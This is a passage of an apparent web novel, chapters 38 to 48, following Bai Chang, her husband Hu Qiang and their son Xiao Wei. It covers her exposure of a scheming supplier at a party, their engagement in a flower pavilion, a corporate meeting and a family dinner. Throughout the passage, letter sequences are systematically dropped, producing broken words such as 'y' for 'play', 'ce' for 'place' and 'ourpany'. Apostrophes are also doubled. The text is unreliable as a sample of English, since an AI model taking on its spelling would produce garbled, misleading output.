    There is a yful smile expressed on her face.


    I know she is going to make an example out of him tonight.


    Mr Li and others present didn''t realise it, yet.


    "Why Mrs Hu, you have different thoughts?"


    (Did they really think that my wife is soft parsimony for them to squash about?)


    "Mr Li, I thank you for thinking so highly about us. While it is true that we opened a new market tonight for raw textile and fabric suppliers, did you think that we won''t look into the matter?"


    Mr Li still didn''t look perturbed but others around him felt that something is amiss, these people straightened out subconsciously while looking forward to the conversation.


    "Mrs Hu, then what do you suggest? With this market, the cost price would be inted and market bnce would be disrupted." Mr Li suggested with a gleam in his eyes.


    "Oh How naive are you Mr Li? Didn''t expect that from you?"


    She smiled; she still sat leisurely with no hint of annoyance on her face.


    "Mr Li, did you think that you could rake in profit from our coboration, i.e. if we make one. You think that we are not aware that while the runway came to an end you made calls to your trusted people and talked around the city to the dealers and local, small suppliers to inte the price for this season and to establish your autonomy with them you even offered your reject pieces from your various projects to these small retailers and sellers.


    You bought their support while making a killer profit out of these shop owners and you are nning to acquire your new shipment via the route of Vietnam and inte the price to us.


    You even went as far as to strike a deal with two other corporations in the party itself to make ourpany fork out triple the amount of base price of the materials that we would purchase from you, i.e. if we do?


    It is still eptable if you stopped here, as we are all merchants wearing coats, profits and numbers dictates the majority of our decisions. But you went one step ahead and blocked our already arrived shipment in the customs department and tried to move it around andter obtain it for yourpany at a meagre price.


    Mr Li should I say you were too smart for your own good."


    Mr Li turned absolutely pale with each sentence Bai Chang uttered.


    While it was pin-drop silence in the enclosure.


    The people around had cold chills running down their spine.


    (While I am once again blown by my wife''s awesomeness.)


    ''I have no idea when and where as well as how she got to know all these things?''


    People all around found it difficult to breathe.


    Their faces were pale.


    Some could be seen contemting that if they crossed the Hu Corporation.


    Previously they treated Bai Chang as a ''trophy wife'' now they looked at her with awe, respect and fear.


    They didn''t even dare to look her in her eyes.

 Chapter 39: After Party (Part-3)

    Chapter 39: After Party (Part-3)


    "Mrs Hu, you may have made a mistake here." Mr Li tried to talk his way out of this mess.


    "Mr Li, I know that people like you won''t beat it until they have seen their coffins nailed. Do not worry; I have the perfect solution to it."


    Mr Li really wanted to know what she had in her hands to prove her usation or was it just a bluff.


    I looked at my wife, then the people around us.


    While my wife looked absolutely in herfort zone, the same could not be said for the people surrounding her.


    From the people present in this party, who didn''t have skeletons in their closets? The thing is, they are an expert in hiding them.


    While it seems my wife is an expert in digging them out.


    ''I am not too sure how she managed it though!''


    "Mr Li, I don''t like to repeat myself, so for the next part of the conversation let this video do the talking," with this Bai Chang started to y a video on her phone and then with some clicks it started ying on the big screen ced in the enclosure.


    It showed exactly what Bai Chang told Mr Li all he was used of just a few minutes back became more than just some baseless usation.


    Mr Li turned ghostly pale. I looked towards my wife but it seems that she is still not done with Mr Li.


    The video started ying recordings and footage of meetings behind closed doors that led to some major loss incurred by these upper echelons.


    I reflected that after Mr Li left the venue, hispany would go bankrupt within a few months. As the amount of losses these people incurred is enough to cough up blood from them.


    Everyone around was eyeing Mr Li with ulterior motives.


    But after this, they didn''t dare to meet Bai Chang''s eyes. They now realised that all this time the tigress was hiding her ws. If no one bothered her she would have kept her silence.


    But once provoked, she is your worst enemy and will make you relive your worst nightmare.


    Mr Li finally couldn''t take it anymore and chose to faint to avoid any immediate consequences.


    A paramedic team apanied Mr Li to a hospital.


    I moved close to my wife and spoke in her ears, "Did you y enough?"


    Her ears turned red while her face flushed, she narrowed her eyes as if ready to take a shot at me. I didn''t dare to tease her anymore.


    "My Queen, you just slew a monkey to make an example out of him, what are you nning?"


    "Nothing too oundish. Just establishing our might in the market to level the ying field for ourpany and make it a fair game to all."


    "Then, how did you gather evidence against Mr Li?"


    "That was a child''s y. It is not worth mentioning it."


    While I and Bai Chang exchanged a few words among us, the people around us cautiously approached us to probe our intentions.


    "Everyone, I apologize that tonight you had to witness something unsightly."


    "No Mr Hu, you do not need to apologise, instead we thank you, Mr and Mrs Hu for shedding light on such matters and serving us justice." Mr Shen spoke up.


    After the incident, people around the corporate society understood how to go about from here on. As for business discussions, everyone unanimously agreed that it would be discussed in our respectivepany office.


    With this, the After Party came to an end.


    ----------------------


    Author''s Appreciation


    Thank you so much for all your heartfelt votesst week. It really motivated me a lot. I feel really blessed for your appreciation of the story. Last week through your votes I got to know more of my readers. I thank each one of you for your support.


    @Abby_7663; @balpri; @TheIllusionist; @Darlene_Virginia; @Miamari; @MeShi; @Prince_nonchnt; @afz;


    @Vio_Vancy; @DragonKnov; @Yebee; @kaikaikaiiiiiiiii; @Kesiya_Kochumon; @Chinasa_Odo; @sagorika_adhikari (yes the shameless author also pitched in for the event)

 Chapter 40: Bonus Chapter

    Chapter 40: Bonus Chapter


    [POV Xiao Wei]


    ''Sitting in my mother''s studio is much more interesting than apanying my father to his office. In future, I will stay with my mother.''


    Today evening is her Runway. I wish it goes without any hitch.


    ''The designs that she made is much more interesting than what Donna aunty makes.''


    As I look around the studio, I seem to can''t find, the flowers that I stitched on a golden sheer fabric. I remember leaving them in the studio.


    ''Where could it be?''


    I look around, but I still couldn''t find it.


    ''Huh Let it be.''


    I look around the studio to find a ck velvet fabric. While I was looking around in YouTube, I found an amazing piece of embroidery tutorial. ''I will make it for my mother. I can''t depend on my father to give any appropriate gifts to Mamma.''


    I moved towards the back of the studio, there on the shelves were various, dark coloured fabrics kept on them.


    They were rolled and kept as scrolls.


    I reached my hands out and, take out the ck velvet fabric roll. I cut the required amount from the scroll and ce it back in the shelf.


    Next, I looked for golden threads for embroidery.


    I move towards the drawer beside the shelves. They all hold better quality threads.


    I opened the drawer and search for the requisite threads for my embroidery.


    I need


    DMC Metallic Embroidery Thread OR (100% polyester; made in Belgium)


    RAINBOWGALLERY NORDIC GOLD ND2 (52% polyester, 48% nylon; made in Ennd)


    COSMO nishikiito no.20 (57% polyester, 43% nylon; made in Japan)


    Maison Sajou N40 METAL 102 (100% polyester; made in France)


    YEDAM YM''GOLD (100% polyester; made in Korea)


    Mamma is very specific in her choice of threads for any design.


    Following her, I learned a lot.


    Rest of my afternoon is spent on the design.


    ''I really want to give Mamma something nice to mark her first sessful runway.''


    ''I have no hopes from my papa.''


    ''It has to be me who needs to keep Mamma attached to our family.''


    I look at my watch it is time, they would leave in an hour for the event venue.


    So I moved towards the drawing-room of the main Vi.


    There I sit down to finish my homework.


    ''As given to me by my papa.''


    Finally, my father entered the hall to receive Mamma.


    I look towards him. He is wearing a sapphire colour suit with gold piping.


    One look and I know, ''it is designed by Mamma''.


    He received a suit designed by Mamma for this event while he asked me to stay put.


    He robbed me of my dress designed by Mamma.


    ''Mean Father, how could you do this to your own son?''


    I sulk in a corner as I see him scamming me of my mother''s designed outfit.


    ''I will make him pay for it,ter.''


    I avoid talking to him. His outfit looks so cool.


    ''Even I want an outfit designed by Mamma.''


    After some time, Mamma walked down the stairs.


    She is looking beautiful like a fairy in her dress. As I observed her dress, I finally find my stitched embroidery.


    Mamma added them to her design.


    ''I am so happy.''


    It seems Mamma knew about my work, so when she liked it she added them to her final design before putting together the outfit.


    I really wanted to hug my mother but my mean father snatched her away.


    Then my world twisted as Mamma proposed to Papa for engagement.


    My face flushed as I felt that birds were twittering in the garden. There were fireworks in my heart. I felt so happy.


    I knew it, he is useless in front of Mamma.


    ''See, even Mamma had to propose him for marriage and prepared the rings for it too.''


    While he just stood there stunned.


    ''Useless. Useless.''


    ''It must be because of me that Mamma proposed to papa. She couldn''t bear to see me tortured under my father''s regime.''


    They exchanged rings and say ''I Do''.


    ''I want to say ''I Do'' too.''


    Finally, Mamma beckons me.


    I rushed towards Mamma.


    She asked me if I knew that she loves me the most.


    ''I know she does.''


    I quickly reply, "Yes, Mamma. I Do."


    ''Yeah, I said my ''I Do'' to Mamma.''


    From now on she would stay by my side.


    While my father is hopeless, I know my Mamma would always be there for me.

 Chapter 41: Qiangs Surprise

    Chapter 41: Qiang''s Surprise


    [POV Bai Chang]


    After putting down Mr Li, I am ready to take a break.


    It is not tiring, but nothing is stimting about it either. I am disappointed as I didn''t spot ''Feling'' within the crowd.


    "My Queen, should we call it a night?" Qiang asked.


    "Yeah, let''s get out of here, it is too boring."


    Qiang looked at me and raised his eyebrows.


    "As you wish, wife."


    We left the Grand Hotel and moved towards the outer hall as we waited for our car to arrive at the front gate.


    I shiver slightly as it is chilly. Thete-night air feels cold to my skin.


    Immediately a sense of warmth wraps around me. Qiang hugs me from behind while he wraps me in his coat. His body''s warmth is still there within the coat.


    It smells like him. Fresh with a hint of lemon aftershave and cologne.


    It feels like him.


    He lowers his head to my level and then speaks, "If you do not mind, I want to bring you to a ce. It is not too far away from your Vi."


    "Okay," I replied.


    By this time our car arrived at the front door. Qiang apanied me and opened the passenger door for me.


    "Thank You"


    I sit down, while Qiang helps me to gather my dress at my feet and then put them in the car.


    A fewdies waiting for their rides by the front gate swoon at his gesture.


    I observe them as they continue to speak among themselves.


    Qiang entered the car and we drove out.


    "Qiang, girls at the gate were swooning on you. What do you have to say?"


    "My Queen, other than you, no one can make me their ve. I promise. I am exclusive only for you." Qiang is quick to reply.


    I keep my silence while Qiang continued to drive.


    ''Today evening, I did propose and we got engaged, but that was just to remove the awkwardness between us.''


    I could feel that Xiao Wei was really starting to get jittery.


    And to make a public appearance, you need to be a couple in private first.


    It is totally not like I do not want to be in a rtionship with them but somewhere at the back of my mind a thought keeps me from it, i.e. I am not their Bai Chang. I am Elizabeth.


    Deep down this soul is of Elizabeth.


    While I was lost contemting the past, present and the future. We arrived at Qiang''s Vi at the Residency Area.


    He walked out and as usual, opened the passenger door for me. Then he also helped me with the trail of my dress.


    "Come I want to share something with you. Here let me close your eyes. So no peeking around." Saying so Qiang blindfolded me and started to guide me to somewhere while also holding onto the trails of my dress.


    It smells grassy.


    The air is crisp.


    There is a hint of humidity.


    "Where are we?"


    "Have patience, my queen. We are almost there."


    We walked upon a bridge as the footboard sounded different than a packed floor wood.


    Each step of the way, Qiang took great care of me, to ensure my safety.


    His coat around my shoulders kept me warm despite the chill in the air.


    My heart-beats fasten due to the anticipation.


    Slowly we enter somece, as the air is warm again.


    Qiang slowly removed the blindfold and what strikes me as I open my eyes are different colours.


    I opened my eyes wide and look around. There are thousands of flowers cultivated inside the pavilion. There were various kinds of roses being cultivated there.


    There were Tulips and Orchids, Petunia as well as different colour paper flowers shrubs.


    I move around and find that this pavilion is in the middle of a medium-sized pond.


    While in the pond itself there are various kinds of lotuses floating around in its full bloom. As my eyes moved past them, I am confronted by a small bamboo forest and little fire-flies were flying around.


    The whole thing is so mesmerising.


    At this point, Qiang hugged me from behind and says, "Happy engagement to us."


    I am hundred per cent sure that I jumped the gun on him, today. When I proposed our engagement! So when did he make this ce? From the looks of it, this ce was finished working around for about a month, give or take a few weeks but no more than that...


    There was outdoors furniture ced in the pavilion with a thick moss carpet covering the floor.


    "It is so magnificent!" I eximed.


    "You like it?" Qiang asked.


    "I loved it! When did you put this together?" I am really curious to find out.


    "I started preparing this ce after I proposed to you to be my girl-friend. I observed that you liked your garden and the outdoor room so much. So I thought to make you a ce you would love to stay, in our future home."


    I am taken aback for his thoughtfulness.


    "This is for me! Then which is your current home?" I asked him once I realised what he said.


    "Your home is my home, any ce where you are at, that''s my home. My Queen, in short, my address of a home is you."

 Chapter 42: Qiangs First Promise

    Chapter 42: Qiang''s First Promise


    [POV Hu Qiang]


    She asked, "This is for me! Then which is your current home?"


    I replied to her, the first thing that was in my mind "Your home is my home, any ce where you are at, that''s my home. My Queen, in short, my address of a home is you."


    I witnessed the surprise in her eyes.


    Her eyes were searching mine as if to check, what I said is true or a grand lie?


    I realise she still has trust issues. It will take a long time to get past this hurdle.


    ''Then, I will persevere for her trust and love.''


    "We will get there eventually," she smiled and keeps on looking into the bamboo forest.


    ''She understood my heart.''


    One day we will reach the point, where she would bare her heart to me too.


    Tonight, I just wanted to hold her close.


    So, I did what I wanted to do.


    I moved towards her, there is a temperature regtor inside the pavilion, to facilitate the nts'' growth. So it is not too cold. She is still wearing my coat.


    I pick her up in princess carry and bring her to the upper floor of the pavilion. There is arge king-size bed in that room and the floor is carpeted with warm and fluffy carpets.


    I ce her on the bed and join her by her side.


    ''Throughout all this, she just kept her eyes on me. To see what I do next?''


    I pick up a remote and pressed a button. The wooden ceilings of the pavilion got reced by a clear ss ceiling. Through it, you can see the stars in the night sky, the moon, peeking from behind a cloud.


    "Qiang, I love it." Her breathing is hitched.


    "Qiang, promise me, this is my spot. You won''t bring others here." She is still looking at the stars but there were tears in the corner of her eyes.


    "My Queen, this ce is your abode, no one, can ever enter this ce without your permission."


    I replied.


    "Promise?" She extended her pinkie finger towards me.


    I take it into my hands, as I say, "Pinkie promise."


    She snuggles close to me while I drag her towards me; there is no gap between us.


    We spend the night close to each other and admiring the stars. We covered ourselves with a single nket among us.


    We didn''t speak another word among us but our fingers were intertwined with each other and Bai Chang fell asleep on my chest.


    I listened to her even and stable breathing.


    And we fell asleep in each other''s arms.


    [POV Bai Chang]


    As he took me towards the upper floor, I surveyed the surroundings, though it is a flower pavilion, in essence, still there were high-grade security measures all over the ce.


    I could detect five high powered infra-red surveince system units andser maze surrounding the perimeter of the ce. As well as the ce is made to bemunication ck-out zone. While it is a double edge sword type measure, still the whole security framework is well-thought-out.


    Qiang got me to his other room and ced me on the bed.


    ''Are we having our wedding night here?''


    I keep on looking towards him with interest.


    ''I am curious as to what he does next?''


    He pulled me towards him and opens a skylight ss window pane on the ceiling of the pavilion.


    It is mesmerising.


    "Qiang, I love it," I said as my heartbeat fastened.


    "Qiang, promise me, this is my spot. You won''t bring others here."


    It really resonated with me on deeper levels.


    I always wanted a ce like this in my previous life at Star Time System. This was categorised as a ce of supreme luxury.


    I use to work endlessly, in our system there was no time for rest. The situation that people in future were facing made it an imminent step. We worked hard to survive.


    From external and internal dangers.


    My eyes teared up as I reminisced my past i.e. Elizabeth''s past.


    Qiang, as the responsible fianc, that he is, spoke up, "My Queen, this ce is your abode, no one, can ever enter this ce without your permission."


    This made me crack up and like a child; I extended my pinkie finger, "Promise?"


    He too replied, "Pinkie promise."


    I snuggle towards him. As I admire those distant stars, Qiang''s rhythmic heartbeat lulls me to security and sleep.


    I pass out the night sleeping in his arms, on his rising and falling chest.

 Chapter 43: Hu Qiangs Jealousy

    Chapter 43: Hu Qiang''s Jealousy


    [POV Hu Qiang]


    She looks like an adorable angel when she is asleep. Yesterday night, she fell into a deep sleep, she felt safe I guess. She must have loved this ce.


    She slept in my arms for the whole night. Though my arms are numb now, but looking at her deeply satisfied and rxed sleeping face. I am more than happy. I am simply overjoyed.


    "Did you have enough of my face yet?" Bai Chang spoke up sleepily as her eyelids fluttered.


    "Not enough," I replied shamelessly.


    There is a hint of a smile tugging at the corner of her mouth.


    "Let''s get up; we didn''t meet Xiao Wei yesterday after we came home. That child would be restless if we do not meet him today." She said as she kissed me at the corner of my jaws and glided away to her vi.


    Seeing her so cheerful, I at once decide to bring her to this ce every week to help her unwind.


    It will be a big help to maintain her quality of sleep.


    I rushed to my room and freshened up.


    I am alreadyte for the office. Today the fashion house would be on break.


    As I rushed down I see Bai Chang waiting for me. Looking up from the newspaper she shes me a smile and said, "Let''s go we arete for office."


    "You areing too!"


    "Why so surprised, I will join you today, as I have a few things to sort through. If dyed, we will miss some good opportunity."


    "Okay,e along."


    We were just about to leave when Xiao Wei entered the hall.


    "Mamma  Are you going to the office? I will join you today, is it alright?"


    "What would you do there my dear little Munchkin?" Bai Chang asked him.


    "I have to use a device there for my new design."


    "Are you in a rush, Munchkin?"


    "Mamma, we finished a sessful runway yesterday. Though I couldn''t witness it personally, we have to prepare for the next season''s runway. I have to make prepare your congrattory gift too and ..."


    "Congrattory gift," I intervened.


    "I knew it, I can''t trust you to give Mamma anything appropriate, I have to do it all by myself," he mumbled.


    I am stunned.


    After which, I feel helpless against my own son.


    ''What kind of loser does he make me in his head?''


    "Fine, just tag along."


    So instead of me going to the office, it just turned into my whole family going to the office.


    ''I guess today is the day where you bring your kid to the office.''


    Together we all left for office.


    ****


    As we reached the office, I see Ming Li waiting for me outside the office.


    Something major must-have cropped up.


    I got down the car and moved to the passenger seat side to open the door while I left Xiao Wei to his means.


    ''That ungrateful son can open the door by himself.''


    Ming Li was rushing towards me but stopped after seeing Bai Chang and Xiao Wei.


    "What happened, Ming Li? Anything that you are unable to handle?" Bai Chang asked.


    "No madam  Actually Mr Shen is waiting for you at the conference room along with Mr Lu of Lu Conglomerate and Mr Wang from Wang apparel enterprise. They want to discuss with us, our market and distribution of ourtest fashion line."


    "Then let them wait for some more time." Bai Chang replied while winking at Ming Li.


    I tasted something sour at the back of my tongue.


    "Come let us enter and see for our self what it is all about?" I rushed her through the door towards the VIP elevator.


    As we reached the elevator door, "Ming Li, apany Xiao Wei to the Fashion housing floor then report to me in the office."


    "Yes, boss."


    I didn''t care to wait around as I rushed with Bai Chang to my office.


    (I''m in no rush to meet those snobs. Nah  I just wanted to have more me time with my wife before my son snatches her from me.


    I''m not ashamed to admit, that I am a very jealous man. I am jealous that she winked at Ming Li, I will work him to his near-death this week and I am jealous of my son. Sadly I can''t be rough handed with him otherwise My Queen will oust me from our home... Sigh  How troublesome is my life?)

 Chapter 44: Bai Chang Slayed The First Corporate Meeting

    Chapter 44: Bai Chang yed The First Corporate Meeting


    [POV Bai Chang]


    We reached his office.


    As Xiao Wei is on 20th floor, using sample production machines for histest designs, we will use that time to deal with these people in conference hall.


    "Qiang let us first deal with them." I said.


    "Okay, as you wish, my queen."


    We walked into a conference room adjacent to his office. The ce is fully made up of ss on all its sides except the floor and the wall it shared with Qiang''s office.


    The conference room faced the panoramic view of the Economic Park as well as the capital city.


    It really stoked the vanity inside these businessmen.


    I walked straight to the middle of the conference room and Qiang held out the centre chair for me.


    I take seat and finally face the people present.


    "Good Morning, gentlemen. Pardon our dy, as we were not aware of your arrival."


    "Mrs Hu, please it is us who arrived unannounced." Mr Shen spoke up.


    "So Mr Shen, how may we the Hu Corporations help you?" I asked them.


    There is a silence in the room.


    "Gentlemen, we are all busy people cut to the chase, rather than going round and round."


    There is still silence in the room.


    "Great then, adios everyone, it seems we have nothing to talk, so you may get back to your respective work as should we, for socialisation purpose we may get together at weekends."


    I simply refuted there attempt to force us into passive by making us to first broach the interest topic. I simply called an end to the meeting. If these stubborn fools do not start talking about the work or proposal they are here to propose then they can forever hold their silence.


    It is not like my entire business is dependent on them.


    While it is the other way around instead. They need us to earn profits in the clothing market.


    And we can get the fabrics and raw materials imported at much cheaper price from the source market.


    "Mrs Hu, do not take offence " someone spoke up.


    I raised my eyebrows and his voice died down.


    "This is business time, we are all seasoned merchants, speak freely and to the points, if you want to do business with us. Otherwise the exit is behind you, to your left. You may leave do not waste your or my time." I spoke with a strict undertone; to express this is my final call for their purpose. Either they speak or they leave.


    They looked towards Qiang, only to be disappointed.


    "Mrs Hu, we understand the market potential as well as the upper hand you have in the market. We would like to coborate with the Hu Corporations, to take a stable path to international market." Mr Qing spoke up from the crowd.


    "Now see, was it that difficult to speak up for your interests, we are all sensible people here. If the conditions proposed are justified, we have a deal to go with, what is there to deliberate?


    You people just wasted 15minutes, 32:25 seconds of my time, while I can only estimate, how much of your time did you waste? All this could have been avoided with some straight conversations. Now, isn''t it the case!" I implied coldly and exined it to them.


    "Mr Hu, how do you propose we go forward with the proposal?" Mr Shen finally turned to Qiang and asked him.


    "We will open public quotients for this project to give equal opportunities to MNC''s as well as small businesses."


    This surprised all the people present here. But they soon recovered and got a grip on themselves.


    Qiang continued, "It is not like we deliberately took this step rather you people never gave us the opportunity to announce our proposal publicly. We already signed our cooperation with the government and both the cultural sector and the public sector would coborate to introduce our clothing line on international tforms. As part of country''s textile directives we would work closely with the party to develop our raw textile market both inside and outside the country."


    These people looked like someone snatched their cake from right under their nose.


    "Gentlemen, you still have the edge over yourpetitors, as you are privy to this crucial information while your rivals aren''t." I kindly reminded these poor souls.


    After listening to what I said, it seems that they finally started to breathe again.


    They got to realise the key points and immediately bided goodbye, to work on a winnable proposal.


    As they left they all thanked us for the inside information.


    I see Qiang looking at me with overflowing admiration.


    "What is it?" I asked him.


    "My Queen, you yed them, I love the way you deal with these people, to tell you the truth it turned me on." He said sincerely.


    My cheeks flushed because of what he said, he walked towards me and together we overlook the skyline from the conference room.


    ''It is very empowering.''

 Chapter 45: Wife Idolizing

    Chapter 45: Wife Idolizing


    [POV Hu Qiang]


    During the meeting, Bai Chang went after their neck. I liked her style.


    ''Should I also conduct my meeting like her, on a timer?''


    Those bunches of stubborn fools were just asking for it.


    Who asked them to y smart in front of my wife?


    They had iting. After all, they wanted us to give up our upper hand and even earn profits off us!


    ''There is a limit to the amount you can mooch off others!''


    I see her observing the skyline through the ss window. Her back''s straight. She looks magnificent, in her- ck A-line dress with white stripes running all over it. Her hairs were pulled together in a low bun.


    ''She looks like a Queen, looking over her dynasty.''


    I can''t stop myself from rushing towards her.


    We admire the view together.


    This moment; it feels good. ''I wish I could freeze our time.''


    Later the entire day, Bai Chang looked into the market and the prospect for our fashion house.


    Ming Li hovered over us like an unsightly bat.


    ''I realised why I send him to our international office?''


    ''This guy is just too clingy ''


    I look around helplessly as he sticks to my wife''s side, the downside being; it''s my wife, who was ordering him around!


    They talk all afternoon. While Bai Chang maps out the future course of the Fashion house, she instructs Ming Li on how and what to procure as raw materials from international markets.


    They ce orders for the materials and it''s decided we will go to these markets, this weekend to check the material ourselves before importing the requisite material.


    ''Now, I feel my son is much better. At least he allows me to spend time with his mother.''


    For the entire working day, I didn''t do any work as I did the most important job in the world, i.e. admiring my wife.


    ''It''s good that I am, my own boss. Otherwise, I would be fired from my job today.''


    [Ring  Rrring]


    My phone started to ring.


    "Hello," I answered.


    "Qiang, I know it isst minute, but could you bring Bai Chang and Xiao Wei for dinner tonight?" My mother spoke up from the other side in a rush.


    I can hear the kitchen utensils making noise in the background.


    "Let me ask Bai Chang "


    I turned towards her,


    "Tell mom, that I would love to have dinner with her, we will be there." She replied and got back to work.


    "Okay mom, you heard that right, we will swing by for dinner," I said.


    "Qiang, where are you now?" My mother asked, concerned.


    "Office," as I said so


    "You ungrateful child, she is still fragile and you make her work hard in yourpany. Come tonight your father will have heart to heart with you" she hanged up after threatening me.


    I looked towards my wife,


    "Don''t look at me like that; we will y it, by the ear." She said and hurried her pace, to finish with her task at hand.


    It seems, today is just not my day.


    All myte night date ns washed down the drain. It became a family reunion day.

 Chapter 46: Hu Residency (Part-1)

    Chapter 46: Hu Residency (Part-1)


    After the whole day of work, we headed towards my parent''s ce.


    We were invited to dinner.


    "Xiao Wei, what did you do, the entire day?" Bai Chang asked him.


    "Mamma, it is a surprise, after we reach grandpa''s ce I will show it to you."


    "Okay, my Munchkin is the best."


    While I drive on, both mother and son snuggle into each other at the back seat of the car and fell asleep.


    After an hour, we reached Hu Residency at the outskirts of the city.


    I see my mother is patiently waiting for us on the front porch.


    I drive in the indoor garage, while my mother is peeking into the car.


    She looked inside only to meet sleeping, Xiao Wei and Bai Chang.


    She turned towards me and raised her eyebrows; I shake my head helplessly.


    Every time we travel, they fall asleep.


    ''What do I do in such a case?''


    My mother called for ''ayi'' from inside to carry Xiao Wei inside the house.


    Ayi took Xiao Wei gently from Bai Chang''s arms, but in turn she tightens her hold on Xiao Wei.


    My mother tears up while watching this from the side.


    "Mom, the situation is different this time." I consoled her.


    "Still, she is as protective about Xiao Wei as ever, even if she lost her memories."


    "Mom, we don''t know, how much she remembers? If she remembers anything at all!"


    "It was entirely our fault then, we couldn''t protect her that time." My mother spoke up with a slight tremble in her voice.


    "Trust me; she hase back to us bing stronger than before." I tried to cate my mother.


    "Ayi, take Xiao Wei inside."


    As Ayi moves to take Xiao Wei from her, I hold on to Bai Chang, feeling my presence she loosened her grip on our son.


    I simultaneously picked her up in a princess carry and walk inside the Hu Residency.


    I see my father sitting on the armchair in the drawing-room awaiting us.


    Looking at us, carrying Bai Chang and Xiao Wei in our arms, this old man assumed the worst.


    "What happened? Who attacked them? Are they in serious condition? What is wrong with you Qiang? How could this happen again?"


    "Father, father. Cool down, they just fell asleep in the car on our way home." I exined.


    "OH."


    My father heaved a huge sigh of relief.


    All these years after the incident, the ident is still a fresh scab in my parent''s memory.


    You can''t me them either, it has not been too long, and that Bai Chang woke up from hera.


    We also faced a fresh attack from the hidden enemy, not too long back.


    "Okay, settle them first," My father spoke up.


    We settled them and then I join my parents in the living room.


    "We heard the fashion show became an international hit this time." My mother said, as soon as, I took a seat with them.


    "Yes, we did."


    "I also heard, there is a new designer, working exclusively for yourbel."


    "Yes, there is," I replied cautiously.


    "Who is she/he?" She asked with a threatening undertone.


    I am now aware, that I am in danger; my parents were staring at me sharply.


    I gulped aloud as I said, "It is Bai Chang, she is the designer as well as the director of the fashion house, from now all matters rted to fashion house is handled by her."


    With each passing words, that I spoke, my parent''s eyebrows just frowned together. And finally, my father burst out first-


    "You un-filial son, she just woke up, and still a long way fromplete recovery and you are already making her ve away in your cheappany.


    Are there dearths of people on earth, hire helps there, why must my daughter ve for you?


    What have you done for her to deserve her hard work and kindness?


    Don''t forget that she ved for nine months, to bring Xiao Wei to this world for your one unintentional mistake, that night.


    Wife, where is my cane? He deserves beating on his back, to make him walk the straight path."


    My father is highly agitated while my mother silently supported all this.


    I feel like crying.


    I am your own son, do you have to make me a cripple before you all are satisfied with me.


    ''I wish someone will get me out of this sticky situation.''


    "Mom, I am hungry," a melodic chime-like voice rang throughout the room.


    We all looked towards the source, we see Bai Chang, walk down the stairs while rubbing her eyes.


    And I thought to myself, ''She is my angel.''

 Chapter 47: Hu Residency (Part-2)

    Chapter 47: Hu Residency (Part-2)


    [POV Bai Chang]


    I felt too drained after the entire day of work. I really need to build up my stamina. I feel tired and times like this reveals to me, that I am not fully recovered. My body is still getting used to movements after three years of inactivity.


    In the car, Xiao Wei and I hog the back seat to ourselves, while, Qiang is in charge of driving us home.


    We goof around in the back seat and soon fall asleep.


    In my sleep I feel a slight tug, it''s unfamiliar and I tighten my hold but a warm hug binds me and I feelfortable again.


    *****


    I woke up in an unfamiliar room, my heart starts beating fast.


    I look around and find Qiang''s coat lying around on a chair, right in my line of sight.


    I moved out of the room and start looking for him.


    I hear some indistinct noise.


    I start walking towards this source of the sound.


    "You un-filial son, she just woke up, and still a long way fromplete recovery and you are already making her ve away in your cheappany.


    Are there dearths of people on earth, hire helps there, why must my daughter ve for you?


    What have you done for her to deserve her hard work and kindness?


    Don''t forget that she ved for nine months, to bring Xiao Wei to this world for your one unintentional mistake, that night.


    Wife, where is my cane? He deserves beating on his back, to make him walk the straight path."


    It took me by surprise, the concern of Mr and Mrs Hu felt genuine. They truly worry about Bai Chang more than Qiang.


    Ites as a surprise to me.


    I would be lying if I don''t admit that my heart softened a little for this family at this very moment.


    I look around and see Qiang''s guilty face.


    It seemed like he really wished someone would save him from the situation.


    This one time let me save him;ter in private, I would punish him.


    "Mom, I am hungry," I called out while rubbing the sleep away from my eyes.


    They all look towards me,


    Qiang looks at me as if he saw the guardian angel that saves him.


    (He looks so cute.)


    I look around, Mother Hu walks up to me, "Come dear, let''s get you freshened up."


    As she spoke, she dragged me towards some other room.


    This seems like Bai Chang''s old room.


    Mother Hu brings me to a walk-in closet. "Bai Chang, we arranged for some fresh sets of clothes for you here, so that you arefortable when you are here.


    Forgive my foolish son; he made you work so hard. On another side, do not forgive him; he needs beatings to walk the straight path, his father is absolutely right to look for his cane."


    I looked towards this tough woman, who seems more used to power than soft words and here she is, speaking soft and kind words of concern to me and deeply cares about me.


    I soundlessly just hug her.


    She is taken by surprise but still, she hugs me back.


    We stay in each other''s arms for some time.


    "Hurry up, girl. Freshen up and join us at the dinner table to have dinner. Otherwise, the food would go cold.


    I''ll ask, Ayi, to wake Xiao Wei up."


    She smiled at me.


    The motherly love in her eyes brings about a lot of emotions in my heart.


    I truly feel blessed at this point of time for my re-incarnation.


    (Is it wrong to feel happy?)


    (Is it crime towards the real Bai Chang?)


    (Am I doing injustice to her?)

 Chapter 48: Xiao Wei Gets Back At Qiang

    Chapter 48: Xiao Wei Gets Back At Qiang


    After getting dressed in a fresh dress


    I walked down the stairs to join the Hu family at the dinner table.


    As I approach the dinner table; what meets my eyes, is a cohesive family. I see father Hu sitting at the head of the table, on his right side, mother Hu apanying him.


    The ce at his left stands empty, while Qiang upied the seat beside it.


    Xiao Wei is sitting beside his grandma


    (It looks such a happy family, who wanted to destroy them?)


    As I arrive by the table, Xiao Wei runs towards me. I pick him up and move towards the table.


    "Bai Chang, here sit by my side," Father Hu spoke up while pointing towards the empty seat by his left.


    I quietly take my seat.


    Xiao Wei hangs on to me, so I sit him on myp.


    "Xiao Wei,e to grandma." Mother Hu called.


    "Let it be, mother. He was too busy all day so we couldn''t spend time together," I replied.


    "What were you doing Xiao Wei?" Father Hu enquired in concern.


    "Mamma''s Fashion Show seeded, so I wanted to make a design for her for celebration."


    "OH  Why was it mamma''s show?" this time mother Hu asked.


    "Because Mamma is the main designer, organiser as well as director of the show."


    "OH  then what did your father do?" Father Hu asked.


    "Nothing," Xiao Wei replied.


    (I am pretty sure that my son, Xiao Wei, intentionally dug graves and pits for his father, in front of his grandparents...


    He looks so cute scheming against his father.)


    Father Hu narrowed his eye, as he asked Qiang, "What Xiao Wei said is all true? You told me she is just the director of the event, you never mentioned; she is also the mainbel designer for thepany."


    "Are you trying to overwork our daughter?" Mother Hu roared at Qiang.


    (Poor Qiang... He is definitely facing attacks from all side tonight.)


    I looked towards him. (Yep, he looks helpless)


    "That''s not all, grandpa; mother designed a customised suit for papa. While he asked me to sit out of the event. He scammed me. You know, Mamma also designed her own dress for the event. They were the design pieces for thepany''s next fashion show." Xiao Wei kept on pulling dirt on his father.


    (I really want to know, what Qiang did to piss off Xiao Wei. He is really attracting ''agro'' towards Qiang.)


    "REALLY!" Father Hu''s anger red up.


